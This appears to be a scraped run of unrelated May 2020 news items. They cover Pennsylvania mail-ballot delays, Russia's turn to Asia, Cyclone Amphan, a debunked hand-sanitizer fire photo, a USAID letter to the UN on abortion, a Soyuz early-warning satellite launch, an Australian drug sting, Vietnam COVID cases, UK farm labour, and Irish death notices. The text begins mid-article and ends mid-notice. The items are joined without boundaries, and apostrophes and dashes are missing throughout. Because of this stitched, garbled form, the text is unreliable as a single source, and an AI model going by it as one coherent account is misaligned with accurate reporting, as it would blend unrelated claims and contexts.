That might not bother the public much when it comes to the June 2 primary, with a Democratic presidential contest that has already been effectively decided. But when President Donald Trump and former Vice President Joe Biden face off in the fall, and all eyes turn to the critical swing state of Pennsylvania, delays could effectively leave the race for the White House in limbo for days.

If nothing changes before November, I would bet my house there would be no way anybody could responsibly call the presidential race [on election night], said Forrest Lehman, elections director for Lycoming County, in central Pennsylvania.

The new law, which also changes how and when mail-in votes are counted, already stood to wreak havoc on the publics expectation for quick results.

No county wants to be the reason we dont know the leader of the free world on election night, Lee Soltysiak, Montgomery Countys chief operating officer and clerk of its election board, said in January. And thats the position, depending on the margin, were all likely to be in.

 READ MORE: From January  Pennsylvanias presidential election could be too close to call for days because of a new law

Then the coronavirus hit. The number of polling places are being cut. Requests for mail ballots have gone through the roof.

Soltysiak laughed when reminded of what he said in January.

Were not in a better place, he said this week. All of the challenges that were preparing to face still exist  and we have layered on top of them those that go along with volume and the pandemic.

Every election night, news outlets try to project winners using unofficial results from precincts, surveys of voters leaving polling places, turnout data, and more. (Official results arent certified until weeks later.)

But some of that modeling depends on people voting in person, and data from past elections will be less useful this year now that Pennsylvania has changed how they are run. Not to mention that voter behavior is harder to predict during a pandemic. The crisis also means it will take even longer than expected to count mail ballots, county elections officials said.

Philadelphia elections officials, for example, expect mail ballots to make up a majority of the vote, and they wont even start counting them until the day after the election. Several large counties, including Bucks, Chester, and Montgomery, plan to start counting absentee ballots on election day, but expect to take at least another day or two before finishing.

 READ MORE: Philly voters have requested more mail ballots than all of Pennsylvania did in 2016

Christine Reuther, a Delaware County councilwoman, said it would be unreasonable for people to expect results from her county before Saturday.

Four days after the election.

The only silver lining for the primary, officials said, is that Biden and Trump are all but assured to win their party nominations, which could lower turnout and the number of mail ballots to count.

But that might also obscure the magnitude of the problem looming in November, when millions will anxiously await the results from Pennsylvania.

We dont have any choice at this point but to take our lumps on June 2 and then learn lessons from it and apply them forward, Lehman said.

Thats the only hope I have, he added. But I dont have a whole lot of it.

The new waiting game

The time it takes to count ballots isnt a sign of fraud, corruption, or any other failure of the electoral system. Rather, its a direct result of reforms to help expand access to voting.

In the past, the vast majority of votes were cast in person. Pennsylvania had one of the most restrictive absentee voting systems in the country, and only about 5% of votes in any election were cast by mail. So when polling places sent results back to county elections offices, they accounted for almost all the votes.

The new law enacted last year changes that.

It was a bipartisan move to make voting more flexible and convenient. It will also dramatically increase the number of mail ballots. (Due to a quirk in the law, Pennsylvania technically has two kinds of mail ballots, absentee and mail-in, that are functionally the same for voters.)

Mail ballots also take much longer to count than in-person votes. Physical voting machines keep track of votes as they are cast and spit out a summary at the end of the night. But mail ballots require opening two different envelopes and then scanning the paper ballots. And some ballots need to be counted by hand, either due to voter error or problems with scanners.

It will definitely not be same-night election results that people are used to. We will certainly be well into the next day," said Gail Humphrey, the chief clerk for Bucks County. Those scanners can jam.

If theres absolutely nothing that happens by technology that we didnt foresee, she said, well still be at least, bare minimum, into the next day still counting.

Coronavirus adds to the challenge

The pandemic led to a volume of mail ballot requests that is far exceeding officials expectations. As of Wednesday, Pennsylvania voters had sent in almost 1.6 million applications for mail ballots, far exceeding the total of 107,000 in the 2016 primary.

That means a significant strain on counties to actually tally them, just as social distancing guidelines make gathering workers to do so that much harder.

The number of people youre going to have being able to canvass, or to open up envelopes even, at an eight-foot table is pretty much one. And one at the next table, said Randall O. Wenger, chief clerk of the Lancaster County Board of Elections. Its going to impact and slow down that process as well.

I dont have any delusion that were going to have [all the ballots] opened and scanned and adjudicated that same day," Wenger said. "Not going to happen.

Counties also have to figure out how many people they can even dedicate to counting ballots, given how messy in-person voting at polling places is likely to be. In Philadelphia, which will have 77% fewer polling places this year, elections staff will be too busy to count mail ballots, said Lisa Deeley, chair of the City Commissioners, who run elections.

 READ MORE: Philly will have way fewer polling places for next months primary because of coronavirus. Find yours here.

Its unrealistic to think Im going to have people to go sit and count ballots, she said. Election day is going to be quite the challenge, and its going to pretty much take up all our bandwidth on election day.

Things could be even worse in November, officials said. It remains to be seen if the outbreak will have eased by then, or if it will be spiking anew. What is certain, though, is that the volume of mail ballots will be much higher because of higher turnout for the general election. And the presidential election in Pennsylvania will likely be decided by razor-thin margins, after Trump won by less than 1% of the votes cast in 2016.

How to fix the problem

There are two ways to lessen the waiting time, elections officials said: Start counting earlier and reduce the time it takes.

Reducing the processing time requires money to buy more machines and hire more staff to operate them. So starting earlier is the simpler fix.

But when the election law was changed last year, it required counties to wait until 8 p.m. before starting to count mail ballots.

Pennsylvania Secretary of State Kathy Boockvar, who oversees elections, said at the time that she believed counties could manage the task. But pressure from the counties led state lawmakers to make a change in March: Counties can now begin counting mail ballots at 7 a.m. on election day, when polls open.

Ive only got 29 precincts, its not going to take me days and days, said Florence Kellett, director of elections in Wyoming County.

Kellett and officials in several other counties said they would begin counting during election day. Still, they said lawmakers should update the law again, to allow them to start counting ballots days or even weeks earlier.

In recent weeks, Boockvar has taken up that call.

The 7 a.m. change helps, but I dont think its going to be sufficient for many counties, she told reporters Wednesday during a conference call. I think some of the races that are close, we will get results quickly. But if there are close races, it may take a couple of days.

Staff writer Jonathan Tamari contributed to this article.
Friday, May 22, 2020

Travis Kupp, a member of our Emerging Fellows program inspects Russias attention towards Asia in his fifth blog post. The views expressed are those of the author and not necessarily those of the APF or its other members.

In 2018, former Putin aide Vladislav Surkov wrote that "Russia's epic journey toward the West  [after] numerous fruitless attempts to become part of western civilization" had concluded. If this in indeed true, then the nations borders dictate that increased interest in Asia, from the Black Sea to the Sea of Japan, is likely over the coming decades.

Chinas future as a great power and its reach west through the Belt and Road Initiative (BRI) threaten Russias influence in the region as a whole. Cooperation between China and Russia in the Western and Central Asian states could be a regional stabilizing force if economic and security agendas can be harmonized. On the other hand, these agendas could lead to flashpoints along Russias entire southern border if integration is resisted. Either way, Moscows game in Asia will assuredly affect the nations identity and regional alignment into the future.

Russia is keenly aware of its need to have a non-hostile relationship with China. While it is possible that a more complete alliance could form, the mid-20th century psychology of great power politics remains alive and well in Moscow. It is therefore more likely that the coming decades will see a warm-yet-wary relationship emerge with Beijing. In this future, Russia will play a careful game of reinforcing its security and economic partnerships with China while engaging in bilateral relationships with India and Southeast Asian nations as a hedge. Russia will also take advantage of its natural gift as the wide belt of land that separates China and all other nations to its South from direct access to the Arctic.

As interest in the northern pole heats up and Siberia becomes more inhabitable, Russia will likely take full advantage of the desire for influence in the region. Moscow may begin to welcome an increasing number of immigrants from India and elsewhere into its Far East in order to balance out the increasing presence of Chinese workers and reap the rewards of diverse labor force. This could in time start to tip the scales of economic power in Russias favor. However, at least in the coming few years, Moscow will be more focused on holding its ground as an energy enabler and economic beneficiary of the Chinese powerhouse.

Without friendly relations between Russia and China, Western and Central Asia could become a hotter geo-economic, if not literal, warzone. Chinese political influence through the BRI buildout could lead a threatened Moscow to push neighbors like Kazakhstan to pick a side. This is a future in which Asias middle increasingly resents the exploitative mindset of its behemoth neighbors, resists integration into this different flavor of globalization, and descends into fracture and volatility. Weakened economic relationships along its southern border, along with the need to secure it, could force a reluctant Russian reunion with Europe. However, Moscow will not be keen on making the concessions to the West that would likely be necessary.

Asia has long been a key arena of Russian foreign policy but is likely to now become the primary focus as an Asian Century looms. It remains unclear what course this future will follow, whether more cooperative or competitive. Cultural differences will continue to be a wedge between still-European Moscow and its southeastern neighbors, but over time an alignment of values could add fuel to the fire of Asias global growth. On the other hand, mismanagement of this partnership could serve to ignite conflicts in the unstable Central and Western Asian region. Regardless, if an Asian Century is inevitable, Russia may come to belong more and more to the continent over the next few decades.

 Travis Kupp 2020
Residents cheer on and support the teachers and staff of Peirce International Studies in Chicago on May 21, 2020, as they pass along the route on a 45-minute parade through the neighborhood to drive past as many of their students' homes as possible. (Antonio Perez/Chicago Tribune)
Education is a hot topic this Legislative session. Here's what bills we're watching.

Here are some of the hot-button education bills were tracking at the Argus Leader. Check back each day to see where they stand as we update.
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By PTI

KOLKATA: Jamal Mondal (45), a migrant labourer who returned from Bengaluru to his hometown Gosaba in South 24 Parganas district on Monday, was happy to be reunited with his family, even though he had lost his job due to the nationwide lockdown.

But his happiness was short-lived.

On Thursday morning, along with his four daughters and wife, Mondal was jostling outside a relief camp in the district for two loafs of bread and a tarpaulin sheet to spend the nights at a cyclone shelter, as his one-storey mud house was washed away by extremely severe cyclonic storm "Amphan" on Wednesday night.

"On Monday, when I reached home, I thought my sufferings were over. But I was wrong. The lockdown took away my job and the cyclone took away everything I was left with. I do not know what would I do next, where would I stay and how would I feed my family," Mondal told a television news channel.

The story is the same for hundreds of migrant labourers in South 24 Parganas who lost their jobs due to the coronavirus-induced lockdown and are left with nothing due to the monstrous cyclone now.

"Amphan" has killed at least 72 people in West Bengal and ravaged Kolkata and several parts of the state.

It has left behind a trail of unprecedented destruction by uprooting trees, destroying thousands of homes and swamping the low-lying areas of the state.

According to Jamir Ali (35), it was after the devastating Cyclone Aila in 2009 that he had decided to go to other states in search of work to feed his family of seven.

ALSO READ | 'It seems there was a war': Fiercest cyclone in 100 years 'Amphan' overwhelms Bengal

"After Aila, I had decided to go to Bengaluru in search of work. I worked there as a mason for 10 years, but due to the lockdown, lost my job and after an arduous journey of 15 days by foot, truck and bus, managed to reach home on Tuesday. I was hopeful that everything would be fine, but the worse was waiting to happen," he said.

Ali's house has been destroyed and since Wednesday night, there is no trace of his younger brother, who had gone out to tie down their boat near the embankment.

"My brother left the house at around 5 pm, saying he would be back within half-an-hour after tying down our fishing dinghy to one of the pillars on the embankment. The embankment is completely destroyed and there is no trace of him," Ali said.

Embankments in the Sundarban delta -- a UNESCO world heritage site -- were breached as the surge whipped up by the cyclone inundated several kilometres of the islands.

The ecologically fragile Sunderban region, nestled around the world's largest mangrove forest, is home to the endangered Royal Bengal Tiger.

For the residents of the area, the fight for survival with nature and wildlife is a routine affair.

The region also sends a large number of labourers to work in various parts of the country.

"Earlier, most of us used to work here. But after the 2009 cyclone, we lost much of our habitat due to the rising sea levels and had to move to other states. But this cyclone took away our homes. All us have to start from scratch as we are not left with even a single penny," said Joydeb Mondal while standing in a queue for food outside a relief camp.

"After this cyclone, more people would move out of the Sunderban region in search of jobs," a district official said.

Packing heavy rain and winds with speeds of up to 190 kmph, "Amphan" slammed the Digha coast of West Bengal at 2.30 pm on Wednesday, triggering heavy rainfall in various parts of the state.

The cyclone barrelled through the districts of North and South 24 Parganas, unleashing copious rain and windstorm, blowing away thatched houses, uprooting trees, electric poles and swamping the low-lying towns and villages.
As more people keep hand sanitizer in their cars due to the coronavirus pandemic, firefighters in Wisconsin are issuing a warning.

The Western Lakes Fire District in Oconomowoc, Wisconsin, posted a photo of a burnt car door on Facebook, cautioning people not to leave hand sanitizer in a vehicle on hot summer days because it may contain alcohol and be flammable.

Keeping it in your car during hot weather, exposing it to sun, and particularly being next to open flame while smoking in vehicles or grilling while enjoying this weekend can lead to disaster, the fire department said Thursday. Please respect the possibilities and be fire safe."

Can hand sanitizer really catch on fire in your car?

Questions have been raised about whether the concern is real. According to Poynter, the image of the burnt car door wasnt from a hand sanitizer fire in a Wisconsin vehicle  it was from a Thailand media report about two Saudis who set their door on fire with an aerosol can and a lighter.

WNTV reports a study also found hand sanitizer would need to reach a temperature of approximately 300 degrees in order to combust. Most vehicles can only reach 160 degrees, though thats hot enough to injure or kill people and animals.

The WLFD admitted the photo was not from a hand sanitizer explosion, but defended its message after it went viral.

Its a fire in a door panel. We frequently see the same issues and level of damage from smoking in vehicles," the fire department wrote, adding that a clear bottle of hand sanitizer could reach 300 degrees with light through the container.

This is the difference we are talking about, the WLFD said. Clear water bottles have been known to focus light to the point that they boil the water and explode. Its also possible when other substances are heated to extreme temperatures.

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Trump administration blasts UN abortion push with COVID-19 aid funds

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The Trump administration is blasting the United Nations for promoting abortion during the pandemic, particularly their efforts to push countries to legalize the practice using coronavirus aid funds.

In a Monday letter to U.N. Secretary-General Antonio Guterres, U.S. Agency for International Development Acting Administrator John Barsa criticized the U.N., writing, The UN should not intimidate or coerce Member States that are committed to the right to life.

To use the COVID-19 pandemic as a justification to pressure governments to change their laws [on abortion] is an affront to the autonomy of each society to determine its own national policies on health care. The United States stands with nations that have pledged to protect the unborn.

Barsa told the U.N. to stop promoting abortion as part of its work fighting the disease and noted how the United States had given the organization $3.5 billion.

The USAID administrator also told the U.N. to strike "sexual and reproductive health services" as part of their humanitarian response plan for the virus and observed how the effort placed abortions on par with food-insecurity, medical care, sanitation, shelter, and malnutrition.

[T]he U.N. should not use this crisis as an opportunity to advance access to abortion as an essential service, Barsa said.

"Most egregious is that the Global HRP calls for the widespread distribution of abortion-inducing drugs and abortion supplies, and for the promotion of abortion in local country settings.

He continued, To achieve global unity toward this goal, it is essential that the U.N.s response to the pandemic avoid creating controversy and meet the real needs of vulnerable people without pushing abortion.

Pro-life investigative outlet Live Action expressed gratitude for the USAID chief's action.

"Abortion is the direct, violent, and intentional killing of an innocent person. Therefore, we applaud the leadership of the USAID in this matter," the outlet said in a statement emailed to The Christian Post.

Catholic News Agency reported Sunday that pro-life groups in Ecuador  where abortion is illegal in most cases  are asking their president to not accept ideological interference by the U.N.

The citizen petition argues that in the face of the COVID-19 drama, the United Nations has offered to send humanitarian aid to Ecuador, but the aid is not free, since in various sections of the document it is explained that said aid is conditional on Ecuador legalizing abortion.

And it seems it has already begun to produce results because Ecuador is one of the 59 countries that in the midst of the pandemic has already committed to promote abortion, the petition continues, referencing a joint declaration from earlier this month to protect sexual and reproductive health and rights and to promote gender-responsiveness during the pandemic.

Heightened conflict over abortion has emerged both overseas and domestically as some conservative U.S. states declared abortion clinics "non-essential" services and ordered them to be shut down amid the pandemic while other states have allowed them to remain open.
Russia launches missile-watching satellite Military personnel at Plesetsk Cosmodrome in Northern Russia launched a Soyuz-2 rocket on May 22, 2020, successfully delivering a classified payload which is believed to be the fourth satellite for the nation's newest constellation designed to provide the Kremlin with early warning about launches of ballistic missiles around the world. Previous page: Launch of the third EKS satellite Please help to keep this site open and current! The pace of our development depends primarily on the level of support from our readers. Fourth Kupol/EKS launch at a glance: Spacecraft designations 14F142 , Kupol, Kosmos-2546, EKS, Tundra Launch vehicle Soyuz-2-1b / Fregat Payload fairing 14S737 Launch Site Plesetsk, Site 43, Pad 4 Launch date and time 2020 May 22, 10:31:17 Moscow Time (planned); 10:31:17.291 (actual) Preparations for flight On May 11, 2020, a local publication in the Uvat District of Russia's Tyumen Region reported that the liftoff of the space launch vehicle was scheduled between 10:00 and 12:30 Moscow Time on May 22, 2020, with a backup launch window 24 hours later. The Uvat District hosts a drop zone where the spent second stage of Soyuz rockets impacts the ground nearly 1,600 kilometers downrange from the Plesetsk launch site. The publication asked the residents to stay away from the impact site and said that a search team would arrive there by helicopter to conduct cleanup operations. In the following week, warnings to air and sea traffic were issued closing areas near the Tasmanian coast, as well as in the Ukhta and Tobolsk regions of Russia, where other spent fragments of the launch vehicle were expected to fall. Based on previous uses of the announced drop zones, it is possible to conclude that a Soyuz 2 rocket will be carrying an 14F142 early warning satellite for the EKS OiBU network, whose primary purpose is to detect and track missile launches around the world. Launch profile Approximate ground track during the launch of the EKS (Tundra) satellite. The launch on May 22, 2020, likely proceeded along the ascent scenario utilized in three previous missions to deploy the EKS constellation. The four-stage Soyuz booster lifted off as scheduled at 10:31:17.291 Moscow Time (3:31 a.m. EDT) from Pad 4 at Site 43 in Plesetsk under the simultaneous thrust of the first and second stages, heading southeast along the southernmost corridor available for orbital launches from Plesetsk. The four boosters of the first stage were jettisoned around two minutes into the flight and probably fell around 350 kilometers downrange, most likely at the S28 impact site located in the marshy area where the Vychegda River flows into the Severnaya Dvina River. The second (core) stage continued the powered ascent. The payload fairing split into two halves and dropped off around a minute after the separation of the first stage. Its fragments probably fell in the Western-Siberian Plain, along the Om River. Less than five minutes into the flight and moments before the second stage completed its burn, the third stage ignited its four-chamber RD-0124 engine, initially firing through the lattice structure connecting the two stages. The second stage then separated and crashed around 1,500 kilometers downrange from the launch site, most likely at the S21 impact site, northeast of the city of Tobolsk. Around nine minutes into the flight, the third stage released the payload section, including the Fregat upper stage and the EKS satellite, into a suborbital trajectory before reentering the Earth's atmosphere. Any surviving debris from the third stage should have fallen into the Pacific Ocean, southeast of Tasmania. Shortly after the launch, the Russian Ministry of Defense confirmed that the assets of the Titov Chief Test Space Center within the Russian Air and Space Forces, VKS, had begun tracking the vehicle at 10:34 Moscow Time, following its on-time liftoff at 10:31 Moscow Time. The separation of the Fregat upper stage from the third stage of the launch vehicle took place at 10:41 Moscow Time, the Ministry of Defense announced. Many eyewitnesses in Tasmania reportedly saw the expected reentry of the third stage over the region. Fregat space tug maneuvers During the orbital part of the launch, the Fregat was expected to conduct three maneuvers to insert the EKS satellite into its orbit. The first maneuver was probably initiated within a minute after the separation from the third stage, placing the stack into an initial parking orbit. The Fregat then fired its engine again to enter a transfer orbit. According to industry sources, the second firing went as planned, parameters of the transfer orbit were reported close to predicted. Finally, the third Fregat increased the apogee to the required altitude for the release of the satellite into a highly elliptical orbit with an orbital period of around 12 hours. The successful release of the satellite into orbit was unofficially confirmed around 15:00 Moscow Time (8 a.m. EDT) on May 22, 2020. The Russian Ministry of Defense announced the successful completion of the satellite delivery around 45 minutes later. The spacecraft received the official designation Kosmos-2546. Following the separation of the EKS spacecraft, the Fregat upper stage typically conducts collision avoidance and deorbiting maneuvers. In turn, the satellite has its own propulsion system to make necessary orbit adjustments. Shortly after the launch, the US military listed two objects associated with the launch, likely representing the satellite and the Fregat stage, in the orbits with the following parameters: International ID NORAD ID Orbital period Orbital inclination Perigee Apogee 2020-031A 45608 713.90 minutes 63.818 degrees 1,656 kilometers 38,508 kilometers 2020-031B 45609 714.62 minutes 63.811 degrees 1,688 kilometers 38,511 kilometers Next page: Launch of the fifth EKS satellite

A Soyuz rocket with fourth Kupol satellite is being prepared for rollout from the vehicle assembly building in Plesetsk. Click to enlarge. Credit: Russian Ministry of Defense A Soyuz rocket with fourth Kupol satellite rolls out to the launch pad. Click to enlarge. Credit: Russian Ministry of Defense A Soyuz rocket with fourth Kupol satellite is being erected on the launch pad. Click to enlarge. Credit: Russian Ministry of Defense A Soyuz rocket with fourth Kupol satellite is being erected on the launch pad. Click to enlarge. Credit: Russian Ministry of Defense A Soyuz-2-1b rocket is being fueled for launch on May 22, 2020. Click to enlarge. Credit: Russian Ministry of Defense A Soyuz-2-1b rocket lifts off from Plesetsk on May 22, 2020. Credit: Zvezda TV
"It's only something small man, if I knew it was your birthday " Zane said, handing over two cartons of cigarettes. As far as Watsford was then aware, Zane was his new confidante, who offered him advice on international money laundering methods. Zane was in fact an undercover Australian Federal Police operative, who had a court permit to facilitate the sale of smuggled tobacco to gently infiltrate Watsford's circles. Watsford was bashful at the offer of the gift. But more than that, his interest was piqued. How had Zane accessed the cigarettes? What brands? How much did he charge?

"I've got boys that will buy some," Watsford would later say. By November, Watsford had introduced Zane to Michael Ibrahim, the brother of King's Cross identity John Ibrahim. John has not been accused of any offences or connection to the conspiracy. The meeting would set in motion a friendship between them, in which Michael Ibrahim would eventually declare he would always "vouch" for Zane, "like I've known you all my life." "I trust you," he told Zane. Ibrahim's trust was such that he brought Zane further into the fold, introducing him to convicted drug lord Mostafa Dib, Ahmad "Rock" Ahmad (the brother of slain bikie Wally Ahmad) and Hassan Fakhreddine.

All three are behind bars, convicted over the drug ring. Dib was sentenced to 18 years and two months' jail last month, while Ahmad and Fakhreddine are awaiting sentencing in June. From the end of 2016 the group used encrypted Blackberry devices to purchase millions of dollars of cigarettes smuggled from abroad, all thanks to "doors" opened by Zane. But their dealings quickly turned to illicit substances, court documents state. In March 2017 Ibrahim asked Zane "whether he would be interested in purchasing MDMA from a third party, and Zane agreed." A big night in Dubai

Zane was the key to a multi-agency investigation into the alleged dealings of two syndicates operating across Australia, Dubai and the Netherlands. He embodied the role from mid-2016 until the mass arrest of Ibrahim and associates in August 2017. The sting blew the lid on three attempts to import MDMA, cocaine and ice to Australia. Each attempt was made up of different people - including Dib, Ahmad and Fakhreddine - who all stood to take a share of the drugs. Between May and July 2017, Zane arranged the collection of almost two tonnes of drugs in Europe. He told Ibrahim each exchange was successful, but the drugs would ultimately be seized by Dutch police. There was never any risk the drugs would reach Australia. It was always an undercover "sham arrangement."

In two late-night raids on August 7 at Dubai's tourist spot the Marina, five men were arrested by UAE police, including Ibrahim and Dib. The men had just come ashore from a cruise, organised by Zane, who had previously messaged Ibrahim suggesting a "big night in dubai with everyon bro [sic]." It was the starting gun for simultaneous mass arrests in Australia and the Netherlands. In Sydney as the clock hit "zero hour", more than 600 police officers conducted 30 dawn raids, arresting 10 people. Among them Watsford, Ahmad and Fakhreddine.

Ibrahim, 42, pleaded guilty to conspiring to import a commercial quantity of drugs, among other offences, in 2018. Watsford also pleaded guilty. He was sentenced last year to a minimum four years' jail. During sentencing in the NSW District Court, he claimed he had been entrapped by the undercover operative, who encouraged him to commit further crimes. Eastern suburbs real estate agent Ryan Watsford pleaded guilty to his role in the syndicate. Credit:Facebook On a number of occasions Ibrahim said he didn't want anything to do with drugs, only cigarettes.

This week Judge Dina Yehia said there was "simply no evidence" Ibrahim was involved in smuggling tobacco, or drug activity prior to being introduced to Zane. "However, once the opportunity was presented, the offender embraced it," she said, describing him as "a willing participant," motivated by financial gain. "I'll move anything you want ... be your f---king right-hand man," she quoted Ibrahim saying. "We're not petty c--ts. We're gonna make millions . even hundreds of millions." Throughout the conspiracy Ibrahim exercised decision-making power. He was not the "linchpin," she said, but his presence "guaranteed the smooth running of the enterprises." Ibrahim has spent 14 years in jail since 2002, including for assault, drug supply and the 2006 manslaughter of Robin Nassour, the brother of Fat Pizza comedian George Nassour, to which he pleaded guilty.

He is first eligible for parole on August 7, 2035. No rest for the wicked NSW consumes around six tonnes of ice and cocaine every year, the biggest market share of drugs in the country. The state's increasing consumption makes it a priority target for organised crime. Cooperation between groups is critical to coordinating and funding the transportation of commercial quantities of drugs to Australian shores.
Christopher Nolan and team Tenet unveiled a new trailer for the upcoming film recently and it has got fans talking already. With cinema halls closed for business since the past several months and no signs of revival in the business soon, Tenet promises to be one of those movies that could pull the audience back to the theaters once the threat of the coronavirus has subsided.

Although not much is known about Tenet, except from the fact that lead actor John David Washington seems to be on a mission of some sort and looks forward to accomplish it somehow so that he can prevent World War 3, the trailer features some time altering shots, which hint that the mystery-thriller film is woven around the concept of time and space, like Nolan's Interstellar and Inception.

The new Tenet trailer features some candid conversations between Washington's character and Robert Pattinson's. It also has some high octane action sequences and a haunting background score that lends to the style and mysterious tone of the film. Tenet is the first movie by Nolan to be featuring a person of colour in a lead role and is much anticipated among cine lovers. Nolan returns to the director's chair after blockbuster hit Dunkirk (2017).

Check out the trailer below.

From Director Christopher Nolan. #TENET, coming to theaters. Watch the new trailer now. pic.twitter.com/qKoPRyHcLE TENET (@TENETFilm) May 22, 2020

Tenet is backed by Warner Bros Studios and is set for release on July 17.

Follow @News18Movies for more
The ambulance that transfers "Patient 91", a Briton, from the HCMC Hospital of Tropical Diseases to Cho Ray Hospital in Ho Chi Minh City. Photo by VnExpress/Xuan Anh.

Patient 149 was confirmed free of Covid-19 for the second time Friday, bringing active cases in Vietnam down to 57.

The 40-year-old man had been declared Covid-19 free for the first time on April 16 and was kept at the Quang Ninh Field Hospital No.2 for further monitoring. Five days later, his sample tested positive again, and his quarantine and treatment continued.

Repeat test results from April 28 to May 4 have all been negative. Doctors said he is in stable health, has no fever, cough or trouble breathing.

On Thursday, another relapse case, a 44-year-old woman, was also declared Covid-19 free for the second time. She was an employee of the Truong Sinh Company, which provided food and logistic services for several Hanoi hospitals, including the Bach Mai Hospital, which became a Covid-19 hotspot.

She was confirmed free of the virus for the first time on April 16, and found to have relapsed two days later.

In other news, "Patient 91", Vietnams most seriously ill Covid-19 patient, was transferred from the HCMC Hospital of Tropical Diseases to Cho Ray Hospital Friday evening. His condition remains critical and he is still on life support. In the past 19 days, he has tested negative for the virus five times.

"Patient 91" is a British man who works as a pilot for national flag carrier Vietnam Airlines. He was admitted to the hospital on March 18.

Doctors said he suffers from a blood clotting disorder and cytokine storm syndrome, an intense immune response where the immune system releases a lot of cytokines through the bloodstream, which works against the body.

The HCMC Hospital for Tropical Diseases announced Friday that 30 percent of his lungs could now function after 65 days of treatment, compared to just 10 percent a week ago.

However, hospital director Nguyen Vinh Chau said a lung transplant is still on agenda, as decided by the Health Ministry last week. The ministry also considers transporting him to the U.K. when he's well enough.

Vietnam has been through 36 days without community transmission. So far, the country has recorded 324 Covid-19 cases of whom 267 have recovered. Among the 57 active cases, six have tested negative once and three others twice.

At the moment, 14,000 people are under quarantine  266 at hospitals, 8,000 at quarantine centers and the rest in their homes.

The Covid-19 pandemic has affected 213 countries and territories so far, with the reported death toll crossing 335,000.
Farmers still need up to 40,000 workers to help bring the harvest in this summer despite an 'overwhelming' response to hiring campaigns.

Defra launched the initiative 'Pick for Britain' last month to bring workers and employers together as the impact of Covid-19 leaves a diminished workforce.

From pickers and packers, to plant husbandry and tractor or forklift drivers, there are a wide range of roles available for furloughed employees.

Prince Charles backed the government campaign earlier this week, saying that the country needed an 'army of people to help'.

Elsewhere, three UK agricultural labour providers  Concordia, HOPs and Fruitful  launched the 'Feed the Nation' campaign in March.

But Tom Bradshaw, vice president of the NFU, told The Guardian that the difficulty had been in turning 'pickers that stick' - workers that would 'turn up day in, day out'.

The Pick for Britain website had had over 100,000 hits from unique visitors, Mr Bradshaw told the paper, and the latest estimate from April was that 25% to 30% of pickers on farms were British.

But Mr Bradshaw said: We have got 20,000 to 40,000 more workers to find and those are going to be difficult.

He added that farm businesses were still expecting eastern European workers to come to the UK but Covid-19 quarantine rules were causing industry uncertainty.

The government is expected to announce plans for any passengers arriving in the UK by plane to provide an address where they would self-quarantine for two weeks.

Mr Bradshaw warned that if this was applied to seasonal workers it could create a 'huge shortage'.

It comes as Waitrose and ITV recently joined forces to help recruit British farm pickers in support of the government's campaign.

The broadcaster's primetime TV advertisements urge the public to get involved and drive potential applicants to the Pick for Britain website.
BAKU, Azerbaijan, May 22

By Tamilla Mammadova  Trend:

Ketevan Tsikhelashvili, who previously served as Minister for Reconciliation and Civic Equality of Georgia, has been appointed the countrys new ambassador to Austria, Trend reports citing Georgian media.

She was the Minister for Reconciliation and Civil Equality since August 2016, and occupied the position of the first deputy minister of the same state agency before that.

From January 2012 through October 2012, Tsikhelashvili served as the elected chairwoman of the National Platform of Georgia within the Civil Society Forum of Eastern Partnership. She chaired the second working group of Geneva International Discussions for the last three and a half years.

In 2006-2012, Tsikhelashvili worked as the director of the Liberal Academy of Tbilisi.

At various times, she worked as a consultant to the Friedrich Neumann Foundation in Georgia, as an analyst at the European Stability Initiative (ESI), and a researcher-assistant at the Political and Defense Division of the NATO Parliamentary Assembly.

---

Follow the author on Twitter: @Mila61979356
The death has occurred of William J. (Billy) O'Brien

St. Johns Court, Edmond Rice Sq., Athy, Kildare / Kilcock, Kildare

Formerly of Kilcock. Billy, predeceased by his wife Jean, his brother Seamus and recently deceased sister-in-law Mary (Nally). Sadly missed and forever remembered by his only daughter Sandra Jane, son-in-law Sebastian and grandsons; Samuel and Sebastian.

Also sadly missed by his brother Peter (UK), sister-in-law Mary, brothers-in-law Noel and Pat, nieces, nephews, extended family, relatives and friends.

May He Rest In Peace

With regret a private Funeral will take place due to government advice regarding public gatherings. Those who would have liked to attend the funeral, but due to current restrictions cannot, please leave a personal message for Billys family in the Condolences section below.

A private family service will take place once conditions and travel regulations permit.



The death has occurred of James (Shay) Curran

Narraghmore, Kildare / Crumlin, Dublin

Curran, James (Shay) 19th May 2020 (Kildare and late of Crumlin, Dublin 12), peacefully at Naas Hospital; dearly beloved son of the late Jimmy and Peggy and brother of the late Declan. Sadly missed with much love and affection by his sisters Cathleen and Noeleen, brother Tony, Adam and his mum Shirley, sisters-in- law, brothers-in-law, nieces, nephews, extended family and friends.

May he Rest in Peace

In line with Government/HSE advice and to ensure the safety of all Shays relatives and friends, a small private funeral will be held. His family would ask that over the coming days everyone who knew Shay would take some time to light a candle or say a prayer. A memorial mass will be held at a later date. Messages of support can be left in the online condolence book below. Donations, if desired, to the Irish Cancer Society.

The family would like to offer their sincere thanks to all the nursing and medical staff on Moate and Allen wards at Naas Hospital.

https://www.youtube.com/watch?v=k1womhAZ4ig&feature=youtu.be

The death has occurred of Michael (Mick) Dunne

Downings, Prosperous, Kildare

Dunne, Michael (Mick), Downings, Prosperous, Co. Kildare, May 19th 2020, peacefully at home. Deeply regretted by his loving brothers, sisters, brothers-in-law, sisters-in-law, nephews, nieces, relatives and friends.

Rest In Peace

In accordance with government directives and in the interest of public health, a private family funeral will take place. Those who would like to attend the funeral but cannot due to the current restrictions on gatherings, are invited to leave a message below. Michael's funeral mass will be on Saturday at 10.30am and can be viewed at www.prosperousparish.ie.



The death has occurred of Christy Geraghty

Clondalkin, Dublin / Athy, Kildare

Geraghty, Christy. May 21st 2020. (Peacefully) at Naas General Hospital. Late of Branswood, Athy, Co. Kildare and formerly Rowlagh Crescent, Clondalkin, Co. Dublin. Beloved husband of Adrienne. Loving Dad of Denise, Natalie, Sinead and Darren. Sadly missed by his son, daughters, grandchildren, sons-in-law, sisters, brothers, extended family and many friends.

Rest In Peace

Family flowers only please. Donations, if desired, to the Irish Cancer Society https://www.cancer.ie. A private funeral will take place due to Government advice regarding public gatherings. Those who would have liked to attend the funeral but due to current restrictions cannot, please leave your personal message in the section below marked "Condolences". All enquiries to Larry Massey funeral directors, Ballyfermot (01)6265094.



The death has occurred of Majella Halstead (nee O'Neill)

Milltown, Newbridge, Kildare

